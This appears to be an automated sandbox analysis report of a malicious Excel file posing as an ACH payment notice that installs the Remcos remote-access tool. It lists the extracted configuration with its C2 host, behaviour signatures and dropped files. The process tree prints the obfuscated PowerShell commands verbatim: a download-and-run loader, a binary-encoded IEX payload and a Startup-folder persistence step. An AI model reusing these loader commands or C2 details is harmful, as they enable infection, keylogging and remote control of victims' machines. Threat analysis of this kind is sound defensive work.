Analysis

  • max time kernel
    161s
  • max time network
    208s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/10/2022, 17:06

General

  • Target
    USD$19,959.92_ACH_Automation_M A Medical Dermatology & Esthetics.xls
  • Size 33KB
  • Sample221003-vmd48agacl
  • SHA256 ce4085be9c0cea2fdaa6145e86166b051222fcc96eac12e1668d803a6b97ebfe
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • remcos

Botnet
  • zh

C2
  • zelthin.dvrlists.com:656

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-V9EYJR

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    Remcos

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 39 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 18 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\USD$19,959.92_ACH_Automation_M A Medical Dermatology & Esthetics.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1648
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell -WindowStyle Hidden $ErrorActionPreference='SilentlyContinue';$u4e0b0 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $u4e0b0 ;$c50='eW.teN tc' + 'ejbO-weN(';$Ax1='olnwoD.)tnei' + 'lCb'; $c3=')''sj.dapeton\''+pmet:vne$,''sj.tneilC detcetorP/yjoiyud/lm.2ebtgrept//:ptth''(eliFda';$TC=$c3,$Ax1,$c50 -Join '';($TC|% {-join($_[-1..-$_.Length])})|IEX;& ($env:temp+ '\notepad.js')
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:684
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\notepad.js"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function ermkflll { $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,51115155,51115555,51155151,51115515,51155111,51115155,51155515,51155151,55115515,55151115,51151151,51151155,55151111,51155155,51115151,51111551,51151551,51151111,51151515,51111551,55151111,51555151,51151115,51155511,51115515,51111551,51115555,51115155,51155151,51155155,55155555,51555511,51151155,51151551,51155151,51151115,51115155,55155555,51551111,51555111,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) } $o00=[char]105 + 'EX';sal P $o00;([system.String]::Join('', $gf))|P } ermkflll
        3⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\WINDOWS\syswow64\notepad.exe
          "C:\WINDOWS\syswow64\notepad.exe"
          4⤵
            PID:4792
          • C:\WINDOWS\syswow64\notepad.exe
            "C:\WINDOWS\syswow64\notepad.exe"
            4⤵
              PID:1436
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\notepad.js' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1832
      • C:\Program Files (x86)\Internet Explorer\ielowutil.exe
        "C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
        1⤵
          PID:3856
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
          1⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1928
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1928 CREDAT:17410 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:3280

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
              • Size 471B
              • SHA256 4bb13178dccf62921053ef1b62f9bdb994dfd0520741873a60ac2c1484df78ca
              • MD5 SHA1 SHA512

              7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
              • Size 404B
              • SHA256 4cfa3d386abb5dd5c53a042b239c721889ad053729ba6767e75d7f534ee225da
              • MD5 SHA1 SHA512

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 d0ec351493bdbc6cb94990b162bb8be5b0217277cc55ae12aa3c7ea704cdbc6e
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 c64007357c908e2f0a576c5e4150936773615ddfed17e51cf94d136ad01bf12f
              • MD5 SHA1 SHA512

              AgileDotNetRT64.dll

              • Path C:\Users\Admin\AppData\Local\Temp\73ab9a28-0688-49e7-b77d-eacdd07237df\AgileDotNetRT64.dll
              • Size 75KB
              • SHA256 adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
              • MD5 SHA1 SHA512 SSDEEP

              notepad.js

              • Path C:\Users\Admin\AppData\Local\Temp\notepad.js
              • Size 1KB
              • SHA256 d57d108d656b409214fc86d91022f54a5e4caf91d68f3becfeabf8f81e7d9f18
              • MD5 SHA1 SHA512

              memory/684-140-0x000001E7FF510000-0x000001E7FF532000-memory.dmp

              memory/684-144-0x00007FF80BE80000-0x00007FF80C941000-memory.dmp

              memory/684-141-0x00007FF80BE80000-0x00007FF80C941000-memory.dmp

              memory/1436-164-0x0000000000400000-0x000000000047F000-memory.dmp

              memory/1436-159-0x0000000000400000-0x000000000047F000-memory.dmp

              memory/1436-158-0x0000000000400000-0x000000000047F000-memory.dmp

              memory/1436-156-0x0000000000400000-0x000000000047F000-memory.dmp

              memory/1436-154-0x0000000000400000-0x000000000047F000-memory.dmp

              memory/1648-167-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

              memory/1648-134-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

              memory/1648-133-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

              memory/1648-136-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

              memory/1648-166-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

              memory/1648-137-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

              memory/1648-138-0x00007FF7F2860000-0x00007FF7F2870000-memory.dmp

              memory/1648-135-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

              memory/1648-168-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

              memory/1648-139-0x00007FF7F2860000-0x00007FF7F2870000-memory.dmp

              memory/1648-169-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

              memory/1832-151-0x00007FF80B3B0000-0x00007FF80BE71000-memory.dmp

              memory/1832-150-0x00007FF80B3B0000-0x00007FF80BE71000-memory.dmp

              memory/3948-160-0x00007FF80B3B0000-0x00007FF80BE71000-memory.dmp

              memory/3948-161-0x00007FF80B3B0000-0x00007FF80BE71000-memory.dmp

              memory/3948-153-0x00007FF804A90000-0x00007FF804BDE000-memory.dmp

              memory/3948-149-0x00007FF80B3B0000-0x00007FF80BE71000-memory.dmp